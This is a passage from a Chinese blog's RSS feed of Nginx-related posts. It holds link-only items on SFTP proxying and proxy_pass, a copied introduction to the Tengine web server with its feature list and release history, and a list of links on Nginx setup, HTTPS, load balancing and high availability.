href="http://www.blogjava.net/paulwong/archive/2024/06/19/451448.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Nginx代理转发SFTP</title><link>http://www.blogjava.net/paulwong/archive/2021/10/15/436012.html</link><dc:creator>paulwong</dc:creator><author>paulwong</author><pubDate>Fri, 15 Oct 2021 02:04:00 GMT</pubDate><guid>http://www.blogjava.net/paulwong/archive/2021/10/15/436012.html</guid><wfw:comment>http://www.blogjava.net/paulwong/comments/436012.html</wfw:comment><comments>http://www.blogjava.net/paulwong/archive/2021/10/15/436012.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/paulwong/comments/commentRss/436012.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/paulwong/services/trackbacks/436012.html</trackback:ping><description><![CDATA[<a href="https://blog.csdn.net/qq_27127385/article/details/103666143" target="_blank">https://blog.csdn.net/qq_27127385/article/details/103666143</a><br /><br /><img src ="http://www.blogjava.net/paulwong/aggbug/436012.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/paulwong/" target="_blank">paulwong</a> 2021-10-15 10:04 <a href="http://www.blogjava.net/paulwong/archive/2021/10/15/436012.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>nginx 之 proxy_pass详解</title><link>http://www.blogjava.net/paulwong/archive/2021/08/30/435959.html</link><dc:creator>paulwong</dc:creator><author>paulwong</author><pubDate>Mon, 30 Aug 2021 07:16:00 GMT</pubDate><guid>http://www.blogjava.net/paulwong/archive/2021/08/30/435959.html</guid><wfw:comment>http://www.blogjava.net/paulwong/comments/435959.html</wfw:comment><comments>http://www.blogjava.net/paulwong/archive/2021/08/30/435959.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/paulwong/comments/commentRss/435959.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/paulwong/services/trackbacks/435959.html</trackback:ping><description><![CDATA[<a href="https://www.jianshu.com/p/b010c9302cd0" target="_blank">https://www.jianshu.com/p/b010c9302cd0</a><br /><br /><img src ="http://www.blogjava.net/paulwong/aggbug/435959.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/paulwong/" target="_blank">paulwong</a> 2021-08-30 15:16 <a href="http://www.blogjava.net/paulwong/archive/2021/08/30/435959.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Tengine</title><link>http://www.blogjava.net/paulwong/archive/2015/11/06/428066.html</link><dc:creator>paulwong</dc:creator><author>paulwong</author><pubDate>Fri, 06 Nov 2015 04:56:00 GMT</pubDate><guid>http://www.blogjava.net/paulwong/archive/2015/11/06/428066.html</guid><wfw:comment>http://www.blogjava.net/paulwong/comments/428066.html</wfw:comment><comments>http://www.blogjava.net/paulwong/archive/2015/11/06/428066.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/paulwong/comments/commentRss/428066.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/paulwong/services/trackbacks/428066.html</trackback:ping><description><![CDATA[<div style="margin: 0px; float: left; height: auto; width: 950px; font-size: medium; padding-bottom: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; line-height: normal; background-color: #ffffff;">
<h2>简介</h2>
Tengine是由淘宝网发起的Web服务器项目。它在<a href="http://nginx.org/" style="margin: 0px; text-decoration: none;">Nginx</a>的基础上，针对大访问量网站<br />的需求，添加了很多高级功能和特性。Tengine的性能和稳定性已经在大型的网站如<br /><a href="http://www.taobao.com/" style="margin: 0px; text-decoration: none;">淘宝网</a>，<a href="http://www.tmall.com/" style="margin: 0px; text-decoration: none;">天猫商城</a>等得到了很好的检验。它的最终目标是打造一个高效、稳定、安全、<br />易用的Web平台。<br style="margin: 0px;" />
<br style="margin: 0px;" />
从2011年12月开始，Tengine成为一个开源项目，Tengine团队在积极地开发和维护<br />着它。Tengine团队的核心成员来自于<a href="http://www.taobao.com/" style="margin: 0px; text-decoration: none;">淘宝</a>、<a href="http://www.sogou.com/" style="margin: 0px; text-decoration: none;">搜狗</a>等互联网企业。Tengine是社区合作<br />的成果，我们欢迎大家<a href="http://tengine.taobao.org/source_cn.html" style="margin: 0px; text-decoration: none;">参与其中</a>，贡献自己的力量。</div>
<div style="margin: 0px; float: left; height: auto; width: 950px; font-size: medium; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; line-height: normal; background-color: #ffffff;"><a href="http://tengine.taobao.org/download/tengine-2.1.1.tar.gz" style="margin: 0px; text-decoration: none;"><img src="http://tengine.taobao.org/images/download.png" style="margin: 0px; border: none;" alt="" /></a></div>
<div style="margin: 0px; float: left; height: auto; width: 580px; font-size: medium; padding-bottom: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; line-height: normal; background-color: #ffffff;">
<h2>特性</h2>
<ul style="margin: 0px; padding-left: 20px;">
     <li style="margin: 0px;">继承Nginx-1.6.2的所有特性，兼容Nginx的配置；</li>
     <li style="margin: 0px;"><a href="http://tengine.taobao.org/document_cn/dso_cn.html" style="margin: 0px; text-decoration: none;">动态模块加载（DSO）</a>支持。加入一个模块不再需要重新编译整个Tengine；</li>
     <li style="margin: 0px;"><a href="http://tengine.taobao.org/document_cn/core_cn.html" style="margin: 0px; text-decoration: none;">支持SO_REUSEPORT选项</a>，建连性能提升为<a href="http://tengine.taobao.org/document_cn/benchmark_cn.html" style="margin: 0px; text-decoration: none;">官方nginx的三倍；</a></li>
     <li style="margin: 0px;">支持<a href="http://tengine.taobao.org/document_cn/ngx_http_spdy_module_cn.html" style="margin: 0px; text-decoration: none;">SPDY v3协议</a>，自动检测同一端口的SPDY请求和HTTP请求；</li>
     <li style="margin: 0px;"><a href="http://tengine.taobao.org/document_cn/http_core_cn.html" style="margin: 0px; text-decoration: none;">流式上传</a>到HTTP后端服务器或FastCGI服务器，大量减少机器的I/O压力；</li>
     <li style="margin: 0px;">更加强大的负载均衡能力，包括<a href="http://tengine.taobao.org/document_cn/http_upstream_consistent_hash_cn.html" style="margin: 0px; text-decoration: none;">一致性hash模块</a>、<a href="http://tengine.taobao.org/document_cn/http_upstream_session_sticky_cn.html" style="margin: 0px; text-decoration: none;">会话保持模块</a>，<a href="http://tengine.taobao.org/document_cn/http_upstream_check_cn.html" style="margin: 0px; text-decoration: none;">还可以对后端的服务器进行主动健康检查</a>，根据服务器状态自动上线下线，以及<a href="http://tengine.taobao.org/document_cn/http_upstream_dynamic_cn.html" style="margin: 0px; text-decoration: none;">动态解析upstream中出现的域名</a>；</li>
     <li style="margin: 0px;"><a href="http://blog.zhuzhaoyuan.com/2012/01/a-mechanism-to-help-write-web-application-firewalls-for-nginx/" style="margin: 0px; text-decoration: none;">输入过滤器机制</a>支持。通过使用这种机制Web应用防火墙的编写更为方便；</li>
     <li style="margin: 0px;">支持设置proxy、memcached、fastcgi、scgi、uwsgi<a href="http://tengine.taobao.org/document_cn/ngx_limit_upstream_tries_cn.html" style="margin: 0px; text-decoration: none;">在后端失败时的重试次数</a></li>
     <li style="margin: 0px;"><a href="http://wiki.nginx.org/HttpLuaModule" style="margin: 0px; text-decoration: none;">动态脚本语言Lua</a>支持。扩展功能非常高效简单；</li>
     <li style="margin: 0px;"><a href="http://tengine.taobao.org/document_cn/http_log_cn.html" style="margin: 0px; text-decoration: none;">支持管道（pipe）和syslog（本地和远端）形式的日志以及日志抽样</a>；</li>
     <li style="margin: 0px;">支持按指定关键字(域名，url等)<a href="http://tengine.taobao.org/document_cn/http_reqstat_cn.html" style="margin: 0px; text-decoration: none;">收集Tengine运行状态</a>；</li>
     <li style="margin: 0px;"><a href="http://tengine.taobao.org/document_cn/http_concat_cn.html" style="margin: 0px; text-decoration: none;">组合多个CSS、JavaScript文件的访问请求变成一个请求</a>；</li>
     <li style="margin: 0px;"><a href="http://tengine.taobao.org/document_cn/http_trim_filter_cn.html" style="margin: 0px; text-decoration: none;">自动去除空白字符和注释</a>从而减小页面的体积</li>
     <li style="margin: 0px;">自动根据CPU数目设置进程个数和绑定CPU亲缘性；</li>
     <li style="margin: 0px;"><a href="http://tengine.taobao.org/document_cn/http_sysguard_cn.html" style="margin: 0px; text-decoration: none;">监控系统的负载和资源占用从而对系统进行保护</a>；</li>
     <li style="margin: 0px;"><a href="http://tengine.taobao.org/document_cn/http_footer_filter_cn.html" style="margin: 0px; text-decoration: none;">显示对运维人员更友好的出错信息，便于定位出错机器；</a></li>
     <li style="margin: 0px;"><a href="http://tengine.taobao.org/document_cn/http_limit_req_cn.html" style="margin: 0px; text-decoration: none;">更强大的防攻击（访问速度限制）模块</a>；</li>
     <li style="margin: 0px;"><a href="http://tengine.taobao.org/document_cn/commandline_cn.html" style="margin: 0px; text-decoration: none;">更方便的命令行参数，如列出编译的模块列表、支持的指令等</a>；</li>
     <li style="margin: 0px;">可以根据访问文件类型设置过期时间；</li>
     <li style="margin: 0px;">&#8230;&#8230;</li>
</ul>
</div>
<div style="margin: 0px; clear: both; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: medium; line-height: normal; background-color: #ffffff;"></div>
<div style="margin: 0px; float: left; height: auto; width: 950px; font-size: medium; padding-bottom: 20px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; line-height: normal; background-color: #ffffff;">
<h2>动态</h2>
<ul style="margin: 0px; padding-left: 20px;">
     <li style="margin: 0px;">[2015-08-12]&nbsp;<a href="http://tengine.taobao.org/download/tengine-2.1.1.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-2.1.1</a>&nbsp;稳定版正式发布 (<a href="http://tengine.taobao.org/changelog_cn.html#2_1_1" style="margin: 0px; text-decoration: none;">变更列表</a>)</li>
     <li style="margin: 0px;">[2014-12-19]&nbsp;<a href="http://tengine.taobao.org/download/tengine-2.1.0.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-2.1.0</a>&nbsp;开发版正式发布 (<a href="http://tengine.taobao.org/changelog_cn.html#2_1_0" style="margin: 0px; text-decoration: none;">变更列表</a>)</li>
     <li style="margin: 0px;">[2014-05-30]&nbsp;<a href="http://tengine.taobao.org/download/tengine-2.0.3.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-2.0.3</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#2_0_3" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2014-03-28]&nbsp;<a href="http://tengine.taobao.org/download/tengine-2.0.2.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-2.0.2</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#2_0_2" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2014-03-06]&nbsp;<a href="http://tengine.taobao.org/download/tengine-2.0.1.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-2.0.1</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#2_0_1" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2014-01-08]&nbsp;<a href="http://tengine.taobao.org/download/tengine-2.0.0.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-2.0.0</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#2_0_0" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2013-11-22]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.5.2.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.5.2</a>&nbsp;稳定版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_5_2" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2013-08-29]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.5.1.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.5.1</a>&nbsp;稳定版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_5_1" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2013-08-04] 我们受邀在台湾<a href="http://coscup.org/2013/zh-cn/program/#day2_am" style="margin: 0px; text-decoration: none;">开源人年会</a>上做了<a href="http://tengine.taobao.org/download/tengine@alibaba.pdf" style="margin: 0px; text-decoration: none;">《Nginx深度开发与定制》</a>的<br />技术分享</li>
     <li style="margin: 0px;">[2013-07-31]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.5.0.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.5.0</a>&nbsp;稳定版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_5_0" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2013-05-14]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.4.6.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.4.6</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_4_6" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2013-05-01]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.4.5.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.4.5</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_4_5" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2013-03-21]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.4.4.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.4.4</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_4_4" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2013-01-21]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.4.3.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.4.3</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_4_3" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2012-11-22]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.4.2.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.4.2</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_4_2" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2012-10-10]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.4.1.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.4.1</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_4_1" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2012-09-05]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.4.0.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.4.0</a>&nbsp;开发版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_4_0" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2012-07-10]&nbsp;<a href="http://tengine.taobao.org/nginx_docs/cn/" style="margin: 0px; text-decoration: none;">Nginx文档中文翻译项目</a>开始</li>
     <li style="margin: 0px;">[2012-06-28] 我们翻译的<a href="http://nginx.org/cn/" style="margin: 0px; text-decoration: none;">Nginx中文文档</a>正式被Nginx官方接受</li>
     <li style="margin: 0px;">[2012-06-09] 我们在华东运维技术大会做了<a href="http://tengine.taobao.org/download/taobao_nginx_2012_06.pdf" style="margin: 0px; text-decoration: none;">《淘宝网Nginx应用、定制与开发实战》<br /></a>的技术分享</li>
     <li style="margin: 0px;">[2012-05-25]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.3.0.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.3.0</a>&nbsp;稳定版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_3_0" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2012-05-09]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.2.5.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.2.5</a>&nbsp;稳定版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_2_5" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2012-03-30]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.2.4.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.2.4</a>&nbsp;稳定版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_2_4" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2012-03-08] Tengine开发团队开始编写开放书籍<a href="http://tengine.taobao.org/book/index.html" style="margin: 0px; text-decoration: none;">《Nginx开发从入门到精通》</a></li>
     <li style="margin: 0px;">[2012-02-27]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.2.3.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.2.3</a>&nbsp;稳定版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_2_3" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2012-01-11]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.2.2.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.2.2</a>&nbsp;稳定版正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_2_2" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2011-12-07] Tengine开发团队在Velocity大会上介绍了<a href="http://velocity.oreilly.com.cn/2011/index.php?func=session&amp;name=%E6%89%93%E9%80%A0%E5%AE%89%E5%85%A8%E3%80%81%E6%98%93%E8%BF%90%E7%BB%B4%E7%9A%84%E9%AB%98%E6%80%A7%E8%83%BDWeb%E5%B9%B3%E5%8F%B0%EF%BC%9A%E6%B7%98%E5%AE%9D%E7%BD%91Nginx%E5%AE%9A%E5%88%B6%E5%BC%80%E5%8F%91%E5%AE%9E%E6%88%98" style="margin: 0px; text-decoration: none;">《淘宝网Nginx定制实战》<br /></a>的一些经验</li>
     <li style="margin: 0px;">[2011-12-06]&nbsp;<a href="http://tengine.taobao.org/download/tengine-1.2.1.tar.gz" style="margin: 0px; text-decoration: none;">Tengine-1.2.1</a>&nbsp;版本正式发布（<a href="http://tengine.taobao.org/changelog_cn.html#1_2_1" style="margin: 0px; text-decoration: none;">变更列表</a>）</li>
     <li style="margin: 0px;">[2011-12-02]&nbsp;<a href="http://tengine.taobao.org/opensource_cn.html" style="margin: 0px; text-decoration: none;">Tengine宣布开源</a></li>
</ul>
</div>
<div style="margin: 0px; clear: both; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; font-size: medium; line-height: normal; background-color: #ffffff;"></div>
<div more_padding"="" style="margin: 0px; float: left; height: auto; width: 950px; font-size: medium; padding-bottom: 60px; font-family: Verdana, Geneva, Arial, Helvetica, sans-serif; line-height: normal; background-color: #ffffff;">
<h2>邮件列表</h2>
<ul style="margin: 0px; padding-left: 20px;">
     <li style="margin: 0px;">中文：<a href="http://code.taobao.org/mailman/listinfo/tengine-cn" style="margin: 0px; text-decoration: none;">http://code.taobao.org/mailman/listinfo/tengine-cn</a></li>
     <li style="margin: 0px;">英文：<a href="http://code.taobao.org/mailman/listinfo/tengine" style="margin: 0px; text-decoration: none;">http://code.taobao.org/mailman/listinfo/tengine</a></li>
</ul>
</div><img src ="http://www.blogjava.net/paulwong/aggbug/428066.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/paulwong/" target="_blank">paulwong</a> 2015-11-06 12:56 <a href="http://www.blogjava.net/paulwong/archive/2015/11/06/428066.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NGINX资源</title><link>http://www.blogjava.net/paulwong/archive/2013/11/24/406758.html</link><dc:creator>paulwong</dc:creator><author>paulwong</author><pubDate>Sun, 24 Nov 2013 13:11:00 GMT</pubDate><guid>http://www.blogjava.net/paulwong/archive/2013/11/24/406758.html</guid><wfw:comment>http://www.blogjava.net/paulwong/comments/406758.html</wfw:comment><comments>http://www.blogjava.net/paulwong/archive/2013/11/24/406758.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/paulwong/comments/commentRss/406758.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/paulwong/services/trackbacks/406758.html</trackback:ping><description><![CDATA[Nginx + Memcached + Tomcat 集群
<div><a href="http://www.oschina.net/question/1014681_107718">http://www.oschina.net/question/1014681_107718<br />
</a></div><br /><br />
<div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
-->安装NGINX：<br />
<a href="https://www.server-world.info/en/note?os=CentOS_Stream_8&amp;p=nginx&amp;f=1" target="_blank">https://www.server-world.info/en/note?os=CentOS_Stream_8&amp;p=nginx&amp;f=1</a><br />
<br />
自己生成证书：<br />
<a href="https://www.server-world.info/en/note?os=CentOS_Stream_8&amp;p=ssl&amp;f=1" target="_blank">https://www.server-world.info/en/note?os=CentOS_Stream_8&amp;p=ssl&amp;f=1</a><br />
<br />
NGINX配置HTTPS：<br />
<a href="https://www.server-world.info/en/note?os=CentOS_Stream_8&amp;p=nginx&amp;f=3" target="_blank">https://www.server-world.info/en/note?os=CentOS_Stream_8&amp;p=nginx&amp;f=3</a><br />
<br />
NGINX配置负载均衡<br />
<a href="https://www.server-world.info/en/note?os=CentOS_Stream_8&amp;p=nginx&amp;f=9" target="_blank">https://www.server-world.info/en/note?os=CentOS_Stream_8&amp;p=nginx&amp;f=9</a><br />
<br />
NGINX配置反射代理<br />
<a href="https://www.server-world.info/en/note?os=CentOS_Stream_8&amp;p=nginx&amp;f=8" target="_blank">https://www.server-world.info/en/note?os=CentOS_Stream_8&amp;p=nginx&amp;f=8<br />
</a></div>
<br />
<br />
<br />
<div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
-->彻底搞懂&nbsp;Nginx&nbsp;五大应用场景！出去吹牛逼再也不担心了<br />
<a href="https://segmentfault.com/a/1190000040420111" target="_blank">https://segmentfault.com/a/1190000040420111</a><br />
<br />
Nginx系列教程(3)nginx缓存服务器上的静态文件<br />
<a href="https://segmentfault.com/a/1190000022548261" target="_blank">https://segmentfault.com/a/1190000022548261</a><br />
<br />
Nginx常用反向代理配置规则<br />
<a href="https://segmentfault.com/a/1190000022501310" target="_blank">https://segmentfault.com/a/1190000022501310</a><br />
<br />
Nginx系列教程(10)基于Nginx解决前端访问后端服务跨域问题(Session和cookie无效)<br />
<a href="https://segmentfault.com/a/1190000022505420" target="_blank">https://segmentfault.com/a/1190000022505420</a><br />
<br />
生产环境之Nginx高可用方案(keepalived+双机热备)<br />
<a href="https://segmentfault.com/a/1190000022511710" target="_blank">https://segmentfault.com/a/1190000022511710</a><br />
<br />
【nginx】配置Nginx实现负载均衡<br />
<a href="https://segmentfault.com/a/1190000017096671" target="_blank">https://segmentfault.com/a/1190000017096671</a><br />
<br />
面试官：Nginx&nbsp;如何实现高并发？常见的优化手段有哪些？<br />
<a href="https://segmentfault.com/a/1190000040559345" target="_blank">https://segmentfault.com/a/1190000040559345</a></div><img src ="http://www.blogjava.net/paulwong/aggbug/406758.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/paulwong/" target="_blank">paulwong</a> 2013-11-24 21:11 <a href="http://www.blogjava.net/paulwong/archive/2013/11/24/406758.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>